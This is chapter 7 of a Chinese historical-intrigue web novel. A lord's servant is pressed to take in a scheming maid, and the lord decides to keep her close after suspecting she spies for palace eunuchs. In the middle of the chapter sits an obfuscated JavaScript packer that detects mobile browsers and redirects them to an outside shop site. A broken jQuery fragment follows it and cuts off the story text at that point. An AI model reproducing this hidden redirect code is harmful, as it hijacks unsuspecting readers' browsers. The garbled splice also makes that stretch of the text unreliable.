7. 第 7 章
    长荣刚吃过了饭,正歪靠着门洞用竹签子剔牙。

    过堂风吹得长荣惬意地眯起眼睛,远远地看到精壮矮实的刘管事往这边匆匆赶来,身后还跟着不少下人,手中抬着几只铜饰拉环的上开盖红木箱。

    长荣将竹签子弹到花圃里,迎了上去故作诧异道:“刘管事可是有什么要紧事,怎么遣了这么些人过来?”

    刘管事停在月洞门前憨厚一笑,作揖道:“不知二爷此刻是否方便见客,还请长荣小哥通传一声。”

    长荣目光自几只大箱子上掠过,心中明镜似的。

    这个太守府的刘管事别看长相敦厚,实则是个八面玲珑的人精。

    从沈星溯第一日到太守府,刘管事就上赶着过来巴结沈星溯手底下的人,想要他们牵线引荐,能让自己顺利到沈星溯面前阿谀奉承。

    只是沈星溯素来不喜这样的跳梁小丑,将他拒之门外。

    没想他居然还没放弃。

    不知今日这只老狐狸又是闻到什么腥味跑来献殷勤?

    长荣皮笑肉不笑地委婉回绝道:“二爷这两日和其他的公子们外出办事才回来歇下,实在劳累,还请刘管事择日再来。”

    刘管事陪着笑道:“正是正是,那小的就不便叨扰了,只是这个人还请二爷收下。”

    说罢,刘管事将人群中簇拥着的一位盛装丽人推至长荣面前。

    长荣起初没认出她,还当是太守的哪位庶女,不耐道:“刘管事这是玩笑话了,这么个大活人你让我……是你?”

    说到一半,长荣终于看清眼前女子面容,又惊又怒地说道:“你居然还敢……”

    刘管事误以为长荣要将二爷与燕洄之间的秘事在大庭广众之下叫出来,忙不迭地抱住长荣的手臂,压低嗓音道:“长荣小哥切勿声张,虽说二爷昨晚抬举了她是她的福分,可她毕竟是太守府的丫鬟,我擅自把她送来,您先把人收下,待日后我再禀告给我们老爷。”

    见此,燕洄唯恐长荣道破真相,配合着用帕子捂住半张脸,呜呜咽咽地细声哭道:“昨日奴婢被二爷带走,又一夜未归,让诸多人瞧见了,奴婢想瞒也瞒不住了。纵使二爷厌弃了奴婢也没关系,只是奴婢也实在没有脸面再继续活下去,只能一头撞死在这门前,也好过名声扫地。”

    昨日沈星溯将燕洄带去北苑确是不争的事实。

    可别提抬举她,沈星溯连她的衣角也未曾沾过。

    这二人简直是吃了熊心豹子胆了,敢将事实扭曲到如此龌龊不堪。

    长荣有心分辨又无从说起,瞠目结舌地看着这个脸皮厚过城墙的丫鬟将脏水泼到自家主子头上。

    刘管事上前趴在长荣耳边悄悄道:“您瞧瞧,她这样寻死觅活的,要是被大太太和我们家老爷知晓了,我也不好交待,还请您做个人情,就先把她收下,哪怕给沈二爷做个贴身的丫鬟也成。”

    这是蹭上了狗皮膏药了,居然甩不脱了。

    可这么由着他们闹下去,要是真惊动了大太太李氏也麻烦。

    长荣瞪了他们一眼,不冷不热道:“那我就去如实禀告,到时若是二爷怪罪下来,可别怨我没提醒过你们。”

    “那是自然。”刘管事见长荣终于肯松口,千恩万谢地作揖,满脸丑态。

    长荣一甩手钻进门洞里来,沿着花园小径走了百来步,在正房屋头前望了一眼,大花正躺在地上睡觉,于是又转到东首厢房里。

    沈星溯翘着二郎腿坐在花梨木圈椅中,手里握着一卷书低头看得正投入。

    沈星溯的长相更为肖似母亲,长而细密的睫毛轻轻眨动,嘴唇丰润,艳而不妖,姿容甚是夺目,虽性情难以捉摸,却不妨碍女子趋之若鹜地扑上来。

    长荣走上前护住火苗,另一只手拨弄灯芯,霎时,四周更亮堂了几分。

    沈星溯握着书卷的背影在墙上跳动了一下,他抬起头看向欲言又止的贴身小厮,手捻着书翻过一页才道:“说罢。”

    “小的有什么事都瞒不住您。”长荣讪笑一声,挨近了斟酌道:“太守府的刘管事正在大门候着。”

    沈星溯心随字动,一目十行,过了半晌才回道:“我没空,让他回去。”

    “这……”长荣有些为难,犹犹豫豫地嗫嚅道:“他还带了一名女子同行,说什么也要强塞到院子里来。”

    “啪!”地一声,沈星溯将书撂到案上,用眼乜着他道:“若是什么猫儿狗儿来拜见我都需要你来给我通传,那我一时也得不了安宁。这种事还需要我教你?芝麻大小的一个管事而已,若是不肯走就让门口护卫乱棍打了出去了事。”

    长荣见沈星溯动怒,连忙跪在地上,不敢再有隐瞒,将门口发生的一切原原本本地道来。

    沈星溯听完冷笑道:“没想到那丫鬟在人前故作懵懂乖顺,人后竟有这般心计,敢跟我耍花招?”

    长荣也暗暗咋舌,他本以为像燕洄这般十五六岁的青嫩丫头都是畏缩怕事的,昨日看她在北苑骇得魂不附体,估量着她总也该放弃攀高枝儿了。

    没成想她贼心不死,居然还能拉拢了刘管事过来杀了一个回马枪。

    屋子里一时寂静,沈星溯重新捧起书卷,漫不经心道:“既然她不想要脸面,也不用客气了。你让婆子们拉着她到二进门,当着所有人的面,扇烂了她尽是诳语的一张巧嘴,再剥了裤子打四十个板子,打死也无妨。”

    长荣暗暗心惊,知晓主子这样吩咐是真动了怒。

    也怪那丫头,居然敢耍心眼耍到沈星溯头上了。

    真当沈星溯是个面团揉的,没脾气的不成?

    长荣领了命,顺着沈星溯的意道:“主子英明,这样的丫鬟就得重罚,才能以儆效尤。小的前儿夜里在丁公公屋头前的走廊见她鬼鬼祟祟的,猜测她也是个不安分的,定是想巴结丁公公不成被轰了出来。”

    “等等!”沈星溯抬起头,眼锋凌厉,“你说她曾出没在丁公公的住所附近?”

    长荣把头一点,“是,当时走廊里黑漆漆的,她竟也不点灯,偷偷摸摸的一看就是做贼心虚,若不是被小的撞到了一处,还以为是见鬼了。”

    沈星溯拧了眉,细细想来,越发觉得不对。

    难怪初次见这丫鬟还一副凛然不可受辱的风骨傲气。

    后来对方知晓了自己身份又做小伏低的,削尖了脑袋也要近自己的身。

    她这两次从大花嘴中逃生都危急得很,若不是恰逢自己不想在母亲那里落了口舌,早让她做了大花的盘中餐。

    寻常女子经此险象环生,早已对他退避三舍。

    而她却越挫越勇,明知山有虎却偏向虎山行。

    原来是跟司礼监的丁公公有了勾当。

    司礼监的人奸诈阴毒,又仰仗着圣上的宠信妄议朝政,胡作非为。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186175|139050||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    当今太子对其早已无法容忍,几次交锋,也没让司礼监的人讨了好去。

    而沈家又是太子的拥趸。

    司礼监的阉党们一向与沈家不和。

    这摆明了是想利用这个婢女接近他来渗入到沈家。

    思及此,沈星溯面上一沉,竟闪现了几分杀伐之气。

    “你先等等!”沈星溯忽然一伸手拦住欲出去回话的长荣,“那刘管事既然有这份苦心,小丫鬟又生死相随,我也只好却之不恭了,你去将人带进来。”

    长荣吃了一惊,迟疑道:“主子,那丫鬟还罚不罚了?”

    沈星溯含笑反问:“罚什么?给我囫囵带进来,万万不可伤到一分。至于刘管事,你只跟他说人我收下了,让他先回去就是。”

    长荣抬眼瞅着他虽满面笑容,可这笑里怎么透着森然的冷意,于是不敢再置喙沈星溯的决定,垂手退下。

    不多时,燕洄独自跟着长荣过了几道门来到东厢房的门前候着,等长荣进去禀报了一声,才垂首碎步走了进去。

    燕洄的目光十分规矩地盯着自己的鞋面,慢慢地踏过门槛,映入眼帘的是一块齐整又柔软的羊绒青莲图样地毯,踩上去如堕云里,极为舒适。

    厢房里屋不知燃的什么,能嗅到一股淡淡的清香。

    燕洄抬眼悄悄打量四周,没瞧见香炉,却在博古书架旁的帘子上发现坠着一只镂空的银熏球,约莫装满了各色干花香料,暗香袭来,不似燃香刺鼻。

    燕洄心中啧啧称叹,感慨沈家权贵,太守为了巴结他们也是花费了不少心思。

    燕洄的目光飘到博古架对面的一张红木藤面罗汉榻上,却正好与坐在上面的沈星溯对视。

    沈星溯穿着鸦青的长衫,斜倚炕桌,手指在桌面上漫不经心地敲了几下,目光探究。

    在这样的审视下,燕洄感到一阵莫名的心虚,急忙收回视线,恭敬地与他行了个礼。

    对方良久没给予回应,燕洄也不敢擅自起身,扶膝半跪的姿势十分辛苦,最后实在没撑住竟一屁股坐在了地上。

    沈星溯微不可察地皱了皱眉,看她动作慌乱地抚平裙角又重新站起,这才开口道:“长荣说你对我一片忠心,要誓死跟随,此话可有假?”

    燕洄听罢立即跪在他面前,虔诚地磕了一个头道:“奴婢那日冲撞了二爷,心中愧疚难当,虽然二爷宽宏大量不予追究,奴婢却也每日每夜地辗转反侧,但愿此生能陪在二爷身边做一个末等丫鬟,来世当牛做马结草衔环报答二爷才好。”

    话语炽烈,端的真情流露。

    沈星溯却冷哼一声,用靴尖挑起燕洄的下巴,毫不客气地点评道:“可我实在厌恶你这张脸,每每看到都想起你逾规越矩的那一天,这怎么可好?”

    沈星溯穿着一双簇新的白底皂靴,干干净净的没有一丝灰尘。

    可就算再洁净,被人用鞋尖抵住咽喉的滋味也屈辱得紧。

    燕洄藏在袖筒里的手指蜷曲攥紧,面上堆笑道:“二爷若实在不想看见奴婢这张脸,那奴婢便遮住脸伺候。”

    沈星溯鞋尖下移,将她轻轻蹬开,一挥袍角从她身边走过,满不在乎地留下一句道:“那就这样吧,长荣,你负责教她规矩,调教好了再带来我面前。”

    长荣立即称是。

    燕洄待他脚步声消失在门外,才撑着地慢慢站起,用手揉了揉脖子。